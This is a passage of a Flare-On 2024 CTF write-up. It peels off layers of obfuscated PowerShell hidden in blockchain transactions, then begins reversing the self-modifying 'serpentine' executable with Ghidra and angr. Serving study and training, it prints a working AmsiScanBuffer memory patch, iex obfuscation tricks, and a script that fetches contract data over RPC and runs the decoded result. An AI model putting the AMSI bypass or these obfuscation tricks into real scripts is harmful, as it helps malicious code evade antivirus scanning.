UAXQAwAHgANwBiACkAKwBbAGMAaABhAFIAXQAoAFsAQgBZAHQARQBdADAAeAA0AGQAKQArAFsAYwBoAGEAcgBdACgAMgAxACsAOAA5ACkAKwBbAGMAaABhAFIAXQAoADMAMQArADkANAApACkAIgApAA0ACgAkAHAAIAA9ACAAMAANAAoAWwBmAGgAZgB5AGMAXQA6ADoAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgAJABuAGoAeQB3AGcAbwAsACAAWwB1AGkAbgB0ADMAMgBdADUALAAgADAAeAA0ADAALAAgAFsAcgBlAGYAXQAkAHAAKQANAAoAJABoAGEAbAB5ACAAPQAgACIAMAB4AEIAOAAiAA0ACgAkAGQAZABuAGcAIAA9ACAAIgAwAHgANQA3ACIADQAKACQAeABkAGUAcQAgAD0AIAAiADAAeAAwADAAIgANAAoAJABtAGIAcgBmACAAPQAgACIAMAB4ADAANwAiAA0ACgAkAGUAdwBhAHEAIAA9ACAAIgAwAHgAOAAwACIADQAKACQAZgBxAHoAdAAgAD0AIAAiADAAeABDADMAIgANAAoAJAB5AGYAbgBqAGIAIAA9ACAAWwBCAHkAdABlAFsAXQBdACAAKAAkAGgAYQBsAHkALAAkAGQAZABuAGcALAAkAHgAZABlAHEALAAkAG0AYgByAGYALAArACQAZQB3AGEAcQAsACsAJABmAHEAegB0ACkADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHkAZgBuAGoAYgAsACAAMAAsACAAJABuAGoAeQB3AGcAbwAsACAANgApAA=="))|iex
Decoding the internal Base64 once again we get another PowerShell script:
#Rasta-mouses Amsi-Scan-Buffer patch \n
$fhfyc = @"
using System;
using System.Runtime.InteropServices;
public class fhfyc {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ixajmz, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $fhfyc
$nzwtgvd = [fhfyc]::LoadLibrary("$(('ãmsí.'+'dll').NOrmAlizE([cHaR](70*31/31)+[char](111)+[Char]([Byte]0x72)+[CHaR](109+60-60)+[ChaR](54+14)) -replace [chaR]([bYTE]0x5c)+[CHar]([bYTE]0x70)+[ChAR](123+2-2)+[CHar]([byte]0x4d)+[ChAR]([bYTE]0x6e)+[char]([byTE]0x7d))")
$njywgo = [fhfyc]::GetProcAddress($nzwtgvd, "$(('ÁmsìSc'+'änBuff'+'er').NOrmALIzE([CHaR]([bYTE]0x46)+[Char]([bYTe]0x6f)+[cHAr]([bYTE]0x72)+[CHar](109)+[cHaR]([ByTe]0x44)) -replace [chAR](92)+[Char]([byTE]0x70)+[chaR]([bYTE]0x7b)+[chaR]([BYtE]0x4d)+[char](21+89)+[chaR](31+94))")
$p = 0
[fhfyc]::VirtualProtect($njywgo, [uint32]5, 0x40, [ref]$p)
$haly = "0xB8"
$ddng = "0x57"
$xdeq = "0x00"
$mbrf = "0x07"
$ewaq = "0x80"
$fqzt = "0xC3"
$yfnjb = [Byte[]] ($haly,$ddng,$xdeq,$mbrf,+$ewaq,+$fqzt)
[System.Runtime.InteropServices.Marshal]::Copy($yfnjb, 0, $njywgo, 6)
If you deobfuscate this code, you will realize… there’s no code related to the flag! It turns out that this challenge was unsolvable during the beginning of the event, because the author simply didn’t include the logic for the rest of the challenge.
After reporting, they pushed a new transaction in block 44335452. So let’s take a look at the payload inside that block:
invOKe-eXpREsSIon (NeW-OBJeCt SystEm.Io.StReaMREAdeR((NeW-OBJeCt Io.COMPRESsIOn.deflATestream( [sYSTeM.Io.memORyStREaM] [cONvErt]::fROmbAsE64StriNg('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' ) , [iO.compRESSION.CompREsSionMode]::dEcoMPrEss ) ) , [SyStEm.TEXt.EnCodINg]::asCII)).ReaDTOEND()
Essentially, the internal constant string is decoded using Base64, and then decompressed using deflate. Using CyberChef, we can decode the content.
Good, another layer of obfuscation. For this one, notice that the script ended with
( ([stRing]$VErboSEpRefeReNCe)[1,3]+'X'-joiN'')
which deobfuscate to iex
. So we just get rid of this last part, and it should be the script.
. ( $EnV:coMspec[4,26,25]-jOIn'')("$(set-iTem 'VAriABle:OfS' '' )" + ( [STrinG][REGEx]::MATCHeS(")''NIoJ-]2,11,3[EmAN.)'*rdm*' ElBAIrav((.|)421]RAHc[]GnIRTS[,'sOI'(EcALPER.)43]RAHc[]GnIRTS[,)37]RAHc[+221]R
AHc[+55]RAHc[((EcALPER.)'\',)09]RAHc[+601]RAHc[+78]RAHc[((EcALPER.)93]RAHc[]GnIRTS[,)94]RAHc[+79]RAHc[+08]RAHc[((EcALPER.)63]RAHc[]GnIRTS[,)57]RAHc[+45]RAHc[+201]RAHc[((EcALPER.)'
dnammocK6f noisserpxE-ekovnI
)Iz7galfZjWZjW:C f- 1aPga'+'lfZjWZjW:C > gnirtStl'+'userK6'+'f ohce c/ dmc1aP ma'+'rgorp-sserpmoc-esu-- x- ratIz'+'7( eulaV-'+' dnammoc ema'+'N- elbairaV-teS
))setyBtluserK6f(gnirtSteG'+'.IICSA'+'::]gnidocnE.txeT.metsyS[( eulaV- gnirtStluser emaN- elbairaV-teS
)gnidocne IICSA gnimussa( gnirts a ot kc'+'ab tl'+'u'+'ser eht trevnoC #
}
))]htgneL.setyByekK6f % iK6f[setyByekK6f roxb- ]iK6f[5setybK6f( + setyBtluserK6f( eulaV- setyBtluser emaN- elbairaV'+'-teS
{ )++iK6f ;htgneL.5setybK6f tl- iK6f ;)0( eulaV- i emaN- elbairaV-teS( rof
))(@( eulaV- setyBtluser emaN- '+'elbairaV-teS
noitarepo ROX eht mrofreP #
))Iz742NOERALFIz7(setyBteG.IICSA::]gnidocnE.txeT[( eulaV- setyByek emaN- elbairaV-te'+'S
setyb ot yek eht trevnoC #
))3setybK6f(gnirtSteG.8FTU::]gnidocnE.txeT[( eulaV- 5setyb emaN- elbairaV-teS
)}
)61 ,)2 ,xednItratsK6f(gnirtsbuS.setyBxehK6f(etyBoT::]trevnoC[
)1 + xednItratsK6f( eulaV- xednIdne emaN- elbair'+'aV-teS
)2 * _K6f( eulaV- xednItrats emaN- elbairaV-teS
{ tcejbO-hcaEroF sOI )1 - 2 / htgneL.setyBxehK6f(..0( eulaV- 3setyb emaN- elbairaV-t'+'eS
)sretcarahc xeh fo sriap gnirusne( setyb ot xeh '+'morf trevnoC #
)Iz7Iz7 ,Iz7 Iz7 ecalper- setyBxehK6f('+' eula'+'V- setyBxeh emaN- elbairaV-teS
gnirtSx'+'ehK6f tu'+'ptuO-etirW#
)1aP 1aP '+'nioj- setyBxehK6f( eulaV- gnirtSxeh'+' emaN- elbaira'+'V-teS
)}
srettel esacr'+'eppu htiw xeh tigid-owt sa etyb hcae tamroF # _K6f f- 1aP}2X:0{1aP
{ tcejbO-hcaEroF sOI iicsAtl'+'userK6f( eu'+'laV- setyBxeh emaN- elbairaV-teS
))46esaBmorFs'+'etybK6f(gnirtSte'+'G.8FTU::]gni'+'docnE.txe'+'T.metsyS[( '+'eulaV- '+'iicsAtluser emaN-'+' elbairaV-teS
))2setybK6f(gni'+'rtS46esaBmorF::]trevnoC[( eulaV- 46esaBmorFsetyb emaN- elbairaV-teS
setyb ot 46esab morf trevnoC #
))881 ,46(gnirtsbuS.1setybK6f( eulaV- 2setyb emaN- e'+'lbairaV-teS
))0setybK6f(gnirtSteG.8FTU::]gnidocnE.txeT.metsyS[( eulaV- 1setyb emaN- elbairaV-teS
)}
)61 ,)2 ,xednItratsK6f(gnirtsbuS.rebmuNxehK6f(etyBoT::]trevnoC[ '+'
)1 + xedn'+'ItratsK6f( eulaV- xednIdne '+'emaN- elbairaV-teS
)2 * _K6f( eulaV- xednItrats emaN- elbairaV-teS
{ '+'t'+'cejbO-hcaEroF'+' sOI )1 - 2 / htgneL.rebmuNxehK6f(..0( eulaV- 0setyb emaN- elbairaV-teS
)sretcarahc xeh fo sriap gnirusne('+' setyb ot xeh morf trevnoC #
)1aP1aP ,1aPx01aP ecalper- pserK6f( eulaV- rebmuNxeh emaN- elbairaV-teS
xiferp 1aPx01aP eht evomeR '+'#
)tluser.)ydob_K6f ydoB- Iz7nosj/noitacilppaIz7 epyTtnetno'+'C- tniopdne_tentsetK6f irU- 1aPtsoP1aP d'+'ohteM- do'+'hteMtseR-ekovnI(( eulaV- pser emaN- elbairaV-teS
)1aP}Iz70.2Iz7:Iz7cprnosjIz'+'7,1:Iz7diIz7,]KCOLB ,}Iz7bcf088c5x0Iz7:Iz7atadIz7,'+'Iz7sserddaK6fIz7:Iz7otIz7'+'{[:Iz7smarapIz7,Iz7llac_hteIz7:Iz7dohtemIz7{1aP( eulaV- ydob_ emaN- elbairaV-teS
)Iz7 Iz7( eulaV-'+' tni'+'opdne_tentset emaN- elbairaV-teS'( ",'.' ,'riGHTToLeft') |%{$_ } )+" $(set-ITEM 'vArIAbLE:oFS' ' ' )")
Oh my gahh, still more obfuscation. The beginning $EnV:coMspec[4,26,25]-jOIn''
evaluates to iex
again, so let’s remove that part and run the script.
('Set-Variable -Name testnet_endpo'+'int '+'-Value (7zI 7zI)
Set-Variable -Name _body -Value (Pa1{7zImethod7zI:7zIeth_call7zI,7zIparams7zI:[{'+'7zIto7zI:7zIf6Kaddress7zI'+',7zIdata7zI:7zI0x5c880fcb7zI}, BLOCK],7zIid7zI:1,7'+'zIjsonrpc7zI:7zI2.07zI}Pa1)
Set-Variable -Name resp -Value ((Invoke-RestMeth'+'od -Metho'+'d Pa1PostPa1 -Uri f6Ktestnet_endpoint -C'+'ontentType 7zIapplication/json7zI -Body f6K_body).result)
#'+' Remove the Pa10xPa1 prefix
Set-Variable -Name hexNumber -Value (f6Kresp -replace Pa10xPa1, Pa1Pa1)
# Convert from hex to bytes '+'(ensuring pairs of hex characters)
Set-Variable -Name bytes0 -Value (0..(f6KhexNumber.Length / 2 - 1) IOs '+'ForEach-Objec'+'t'+' {
Set-Variable -Name startIndex -Value (f6K_ * 2)
Set-Variable -Name'+' endIndex -Value (f6KstartI'+'ndex + 1)
'+' [Convert]::ToByte(f6KhexNumber.Substring(f6KstartIndex, 2), 16)
})
Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString(f6Kbytes0))
Set-Variabl'+'e -Name bytes2 -Value (f6Kbytes1.Substring(64, 188))
# Convert from base64 to bytes
Set-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64Str'+'ing(f6Kbytes2))
Set-Variable '+'-Name resultAscii'+' -Value'+' ([System.T'+'ext.Encod'+'ing]::UTF8.G'+'etString(f6Kbyte'+'sFromBase64))
Set-Variable -Name hexBytes -Val'+'ue (f6Kresu'+'ltAscii IOs ForEach-Object {
Pa1{0:X2}Pa1 -f f6K_ # Format each byte as two-digit hex with uppe'+'rcase letters
})
Set-V'+'ariable -Name '+'hexString -Value (f6KhexBytes -join'+' Pa1 Pa1)
#Write-Outp'+'ut f6Khe'+'xString
Set-Variable -Name hexBytes -V'+'alue '+'(f6KhexBytes -replace 7zI 7zI, 7zI7zI)
# Convert from'+' hex to bytes (ensuring pairs of hex characters)
Se'+'t-Variable -Name bytes3 -Value (0..(f6KhexBytes.Length / 2 - 1) IOs ForEach-Object {
Set-Variable -Name startIndex -Value (f6K_ * 2)
Set-Va'+'riable -Name endIndex -Value (f6KstartIndex + 1)
[Convert]::ToByte(f6KhexBytes.Substring(f6KstartIndex, 2), 16)
})
Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString(f6Kbytes3))
# Convert the key to bytes
S'+'et-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes(7zIFLAREON247zI))
# Perform the XOR operation
Set-Variable'+' -Name resultBytes -Value (@())
for (Set-Variable -Name i -Value (0); f6Ki -lt f6Kbytes5.Length; f6Ki++) {
Set-'+'Variable -Name resultBytes -Value (f6KresultBytes + (f6Kbytes5[f6Ki] -bxor f6KkeyBytes[f6Ki % f6KkeyBytes.Length]))
}
# Convert the res'+'u'+'lt ba'+'ck to a string (assuming ASCII encoding)
Set-Variable -Name resultString -Value ([System.Text.Encoding]::'+'ASCII.'+'GetString(f6KresultBytes))
Set-Variable -N'+'ame command '+'-Value (7'+'zItar -x --use-compress-progr'+'am Pa1cmd /c echo f'+'6Kresu'+'ltString > C:WjZWjZfl'+'agPa1 -f C:WjZWjZflag7zI)
Invoke-Expression f6Kcommand
').REPLAcE(([cHAR]102+[cHAR]54+[cHAR]75),[STRInG][cHAR]36).REPLAcE(([cHAR]80+[cHAR]97+[cHAR]49),[STRInG][cHAR]39).REPLAcE(([cHAR]87+[cHAR]106+[cHAR]90),'\').REPLAcE(([cHAR]55+[cHAR]122+[cHAR]73),[STRInG][cHAR]34).REPLAcE('IOs',[STRInG][cHAR]124)|.((varIABlE '*mdr*').NAmE[3,11,2]-JoIN'')
Ok finally we are seeing some readable code. The ending ((varIABlE '*mdr*').NAmE[3,11,2]-JoIN'')
evaluates to iex
again, so let’s remove that pipe and run the front part.
Set-Variable -Name testnet_endpoint -Value (" ")
Set-Variable -Name _body -Value ('{"method":"eth_call","params":[{"to":"$address","data":"0x5c880fcb"}, BLOCK],"id":1,"jsonrpc":"2.0"}')
Set-Variable -Name resp -Value ((Invoke-RestMethod -Method 'Post' -Uri $testnet_endpoint -ContentType "application/json" -Body $_body).result)
# Remove the '0x' prefix
Set-Variable -Name hexNumber -Value ($resp -replace '0x', '')
# Convert from hex to bytes (ensuring pairs of hex characters)
Set-Variable -Name bytes0 -Value (0..($hexNumber.Length / 2 - 1) | ForEach-Object {
Set-Variable -Name startIndex -Value ($_ * 2)
Set-Variable -Name endIndex -Value ($startIndex + 1)
[Convert]::ToByte($hexNumber.Substring($startIndex, 2), 16)
})
Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString($bytes0))
Set-Variable -Name bytes2 -Value ($bytes1.Substring(64, 188))
# Convert from base64 to bytes
Set-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64String($bytes2))
Set-Variable -Name resultAscii -Value ([System.Text.Encoding]::UTF8.GetString($bytesFromBase64))
Set-Variable -Name hexBytes -Value ($resultAscii | ForEach-Object {
'{0:X2}' -f $_ # Format each byte as two-digit hex with uppercase letters
})
Set-Variable -Name hexString -Value ($hexBytes -join ' ')
#Write-Output $hexString
Set-Variable -Name hexBytes -Value ($hexBytes -replace " ", "")
# Convert from hex to bytes (ensuring pairs of hex characters)
Set-Variable -Name bytes3 -Value (0..($hexBytes.Length / 2 - 1) | ForEach-Object {
Set-Variable -Name startIndex -Value ($_ * 2)
Set-Variable -Name endIndex -Value ($startIndex + 1)
[Convert]::ToByte($hexBytes.Substring($startIndex, 2), 16)
})
Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString($bytes3))
# Convert the key to bytes
Set-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes("FLAREON24"))
# Perform the XOR operation
Set-Variable -Name resultBytes -Value (@())
for (Set-Variable -Name i -Value (0); $i -lt $bytes5.Length; $i++) {
Set-Variable -Name resultBytes -Value ($resultBytes + ($bytes5[$i] -bxor $keyBytes[$i % $keyBytes.Length]))
}
# Convert the result back to a string (assuming ASCII encoding)
Set-Variable -Name resultString -Value ([System.Text.Encoding]::ASCII.GetString($resultBytes))
Set-Variable -Name command -Value ("tar -x --use-compress-program 'cmd /c echo $resultString > C:\\flag' -f C:\\flag")
Invoke-Expression $command
Finally, the actual code!
third call
It’s nice that this script even keeps the comment. Essentially the flow is:
- We call a specific contract
$address
at the givenBLOCK
, with data0x5c880fcb
. - The result payload is decoded as Hex, and taken from 64 to 188 bytes.
- That substring is decoded as Base64.
- Then decode as Hex.
- Then converted to a UTF-8 string.
- The result is XOR’d with
FLAREON24
. - The result is saved to
C:\flag
.
From the previous analysis, we know 0x5c880fcb
is the method to get the stored data from the contract. So the $address$
should be the same as above.
The BLOCK
number is not given. So we have to take a look at all transactions. I set up a CyberChef script to quickly decode the payload
And let’s try decrypting each block using this recipe:
- 43145703: Not ASCII characters
- 43148912:
N0t_3v3n_DPRK_i5_Th15_1337_1n_Web3@flare-on.com
- 43149119:
I wish this was the flag
- 43149124:
Yet more noise!!
- 43149133:
Good thing this is on the testnet
And the remaining transactions does not fit in the decryption process. Well, at least we got our flag.
9 - serpentine
We are given a single .exe
PE executable in AMD64 arch. Let’s open it up in Ghidra and go to the main function:
The main
function is rather simple:
- A exception handler is set up in the beginning
- The program expects one argument, which is the input key.
- The key is expected to have length 0x20.
- The key is copied to
89b8e8
(function4c60
isstrcpy
). - The function pointer stored at
89b8e0
is called.
But if we go to 89b8e0
, we see it is not filled in yet. Taking a look at the cross-references to this address, we see this logic inside tls_callback_0
which is basically an init
function of the program.
This function allocates a 0x800000 size memory with VirtualAlloc
and then stores the pointer into 89b8e0
. Function 157d0
is a memcpy/memmove
, so 0x800000 data from 97af0
is copied into the newly allocated space. Now let’s take a look at what’s in 97af0
:
Immediately we see a HLT
instruction. When this instruction is executed, the EXCEPTION_PRIV_INSTRUCTION
(code C0000096
) exception is thrown, since HLT
is a privileged instruction. Executing the actual binary confirms this as well.
exception handler
Naturally, this means that there’s an exception handler somewhere that does some magic to restore the correct program flow. If you remember, the start of the main
function has a SetUnhandledExceptionFilter
. Unfortunately, that one is not the one we are looking for.
Normally we need to look into the initializers of the program. Other than the tls_callback
that we have above, there is another mechanism _initterm
which executes a table of functions at the beginning of execution. For this program, the table is located over here
The function 187c
is a built-in pre_cpp_initialization
. Then I quickly went through the remaining functions:
-
Inside
1030
, it calls1430
which looks like this -
Using cross-reference, we know that
8a32f8
is setup inside function1270
, which is called by function1000
in the above table.
We could do some reversing on 1270
to find out what address is actually stored into 8a32f8
, but being a lazy person, I’d just instead resort to dynamic debugging. Setting up x64dbg, breaking at the CALL
instruction and we get
Which means the function called is RtlInstallFunctionTableCallback
. Looking into the documentation, we know it takes 6 arguments
NTSYSAPI BOOLEAN RtlInstallFunctionTableCallback(
[in] DWORD64 TableIdentifier,
[in] DWORD64 BaseAddress,
[in] DWORD Length,
[in] PGET_RUNTIME_FUNCTION_CALLBACK Callback,
[in] PVOID Context,
[in] PCWSTR OutOfProcessCallbackDll
);
so we can adjust the right-hand side window of x64dbg to display all the argument values:
This function sets up a dynamic function table, which are “used on 64-bit Windows to determine how to unwind or walk the stack.” When an exception is thrown, the stack unwinding is done, and this API can register a callback function to be called while unwinding. Notice the BaseAddress
here contains the same address as the 0x800000 block of memory allocated above, so we can be fairly sure that this is related to the exception handling of HLT
.
Let’s take a look at this callback function 10b0
:
Now, since we know this callback function has the type PGET_RUNTIME_FUNCTION_CALLBACK
from the documentation, we can restore it:
Here the ControlPC
is the address where the exception is thrown.
From the code, we know that ControlPc+1
contains an offset to where the UnwindData
starts, relative to EndAddress
. The EndAddress
is just BeginAddress+1
. And BeginAddress
is the relative offset of the PC to the start of the image (the 0x800000 region we talked before, stored in 89b8e0
). Note that if the UnwindData
is not aligned to uint16_t
, there will be an extra padding in its front.
The UnwindData
has type UNWIND_INFO
as documented in https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64. The structure is a bit complicated to represent in Ghidra because it has variable size, so I wanted to parse it in Python. Luckily I found a library here https://github.com/erocarrera/pefile that already does it.
Here’s a parsing script for what we have so far:
import pefile
pe = pefile.PE('serpentine.exe')
img = pe.get_memory_mapped_image()
def parse_unwind_info(addr):
assert img[addr] == 0xf4 # HLT
offset = addr + 2 + img[addr + 1]
offset += (offset & 1) != 0
ui = pefile.UnwindInfo()
assert ui.unpack_in_stages(img[offset:offset+ui.sizeof()]) is None
# call twice as the first time is to only get size
assert ui.unpack_in_stages(img[offset:offset+ui.sizeof()]) is None
return ui
print(parse_unwind_info(0x97af0))
This gives us output for the first block located at 97af0
:
Notice here that we have another ExceptionHandler
. This happens when Flags
is 0x1 which is UNW_FLAG_EHANDLER
, meaning “The function has an exception handler that should be called […]” This handler’s address is relative to the base of the image. In the case of the static binary, this means our handler should be in 0x97af0+0x98. Let’s take a look
It immediately calls 37c817
, so let’s follow it
Here, we see the behavior of a self-modifying code.
self-modifying code
Here’s a simple run-down of what we can see:
- At
37c817
, the stack value isPOP
'd into37c84f
, affectively overwriting the constant of theMOV
at37c84e
. Notice that the value here is the return address (which is97b8d
in this case). - At
37c832
, the registerEAX
's value is written into37c839
, which changes the operation at that location.
Manually restoring the calls by patching binary could work, but it requires a lot of work. Writing a script to parse it could also work. Here, I decided to use angr
to symbolically execute the program and prints out the executed instructions directly.
import angr
proj = angr.Project('serpentine.exe')
state = proj.factory.blank_state(add_options={angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS})
region = state.heap.allocate(0x800000)
state.memory.store(region, state.memory.load(0x140097af0, 0x800000))
state = proj.factory.call_state(region + 0x98, base_state=state)
simgr = proj.factory.simulation_manager(state)
while True:
assert len(simgr.active) == 1
state = simgr.active[0]
insn_bytes = state.solver.eval(state.memory.load(state.addr, 16), cast_to=bytes)
ins = state.block(insn_bytes=insn_bytes, num_inst=1).disassembly.insns[0]
print(ins)
simgr.step(num_inst=1)
The output we get is
0xc0000098: call 0xc02e4d27
0xc02e4d27: pop qword ptr [rip + 0x33]
0xc02e4d2d: push rax
0xc02e4d2e: mov rax, 0
0xc02e4d35: mov ah, byte ptr [rip - 0x15]
0xc02e4d3b: lea eax, [eax + 0x7f497049]
0xc02e4d42: mov dword ptr [rip + 1], eax
0xc02e4d48: pop rax
0xc02e4d49: movabs r11, 0x10add7f49
0xc02e4d53: mov dword ptr [rip - 0x14], 0x676742dd
0xc02e4d5d: push rax
0xc02e4d5e: movabs rax, 0xc000009d
0xc02e4d68: lea rax, [rax + 5]
0xc02e4d6c: xchg qword ptr [rsp], rax
0xc02e4d70: ret
0xc00000a2: push r11
0xc00000a4: push 0x73775436
0xc00000a9: push 0x68a04c43
0xc00000ae: push 0x12917ff9
0xc00000b3: call 0xc02e4d96
0xc02e4d96: pop qword ptr [rip + 0x32]
0xc02e4d9c: push rax
0xc02e4d9d: mov rax, 0
0xc02e4da4: mov ah, byte ptr [rip - 0x4a]
0xc02e4daa: lea eax, [eax + 0x2443e448]
0xc02e4db1: mov dword ptr [rip + 1], eax
0xc02e4db7: pop rax
0xc02e4db8: add qword ptr [rsp + 0x18], 0x35ac399f
0xc02e4dc1: mov dword ptr [rip - 0x13], 0x62cf7984
0xc02e4dcb: push rax
0xc02e4dcc: movabs rax, 0xc00000b8
0xc02e4dd6: lea rax, [rax + 4]
0xc02e4dda: xchg qword ptr [rsp], rax
0xc02e4dde: ret
0xc00000bc: call 0xc02e4dff
0xc02e4dff: pop qword ptr [rip + 0x2e]
0xc02e4e05: push rax
0xc02e4e06: mov rax, 0
0xc02e4e0d: mov ah, byte ptr [rip - 0x45]
0xc02e4e13: lea eax, [eax - 0x2e4dd617]
0xc02e4e1a: mov dword ptr [rip + 1], eax
0xc02e4e20: pop rax
0xc02e4e21: jmp 0xc0000107
0xc0000107: hlt
Very nice. Notice that we also get the next HLT
as well. Actually, combining the script above, we can automate this process by parsing the REWIND_INFO
every time we hit a HLT
.
import angr
import pefile
proj = angr.Project('serpentine.exe')
state = proj.factory.blank_state(add_options={angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS})
region = state.heap.allocate(0x800000)
state.memory.store(region, state.memory.load(0x140097af0, 0x800000))
state = proj.factory.call_state(region, base_state=state)
simgr = proj.factory.simulation_manager(state)
def load_bytes(state, addr, size):
bv = state.memory.load(addr, size)
assert bv.concrete
return state.solver.eval(bv, cast_to=bytes)
def parse_unwind_info(state):
assert state.mem[state.addr].uint8_t.concrete == 0xf4 # HLT
offset = state.addr + 2 + state.mem[state.addr + 1].uint8_t.concrete
offset += (offset & 1) != 0
ui = pefile.UnwindInfo()
assert ui.unpack_in_stages(load_bytes(state, offset, ui.sizeof())) is None
assert ui.unpack_in_stages(load_bytes(state, offset, ui.sizeof())) is None
return ui
while True:
assert len(simgr.active) == 1
state = simgr.active[0]
ins = state.block(
insn_bytes=load_bytes(state, state.addr, 16),
num_inst=1,
).disassembly.insns[0]
print(ins)
if ins.mnemonic == 'hlt':
ui = parse_unwind_info(state)
state.regs.rip = region + ui.ExceptionHandler
continue
simgr.step(num_inst=1)
We see that it can automatically jump to the correct handler address:
0xc0000000: hlt
0xc0000098: call 0xc02e4d27
[...]
0xc02e4e21: jmp 0xc0000107
0xc0000107: hlt
0xc00001a7: mov rbp, qword ptr [r9 + 0x28]
0xc00001ab: call 0xc02e4e6a
0xc02e4e6a: pop qword ptr [rip + 0x30]
0xc02e4e70: push rax
0xc02e4e71: mov rax, 0
0xc02e4e78: mov ah, byte ptr [rip - 0x4b]
0xc02e4e7e: lea eax, [eax - 0x1f4335b8]
0xc02e4e85: mov dword ptr [rip + 1], eax
0xc02e4e8b: pop rax
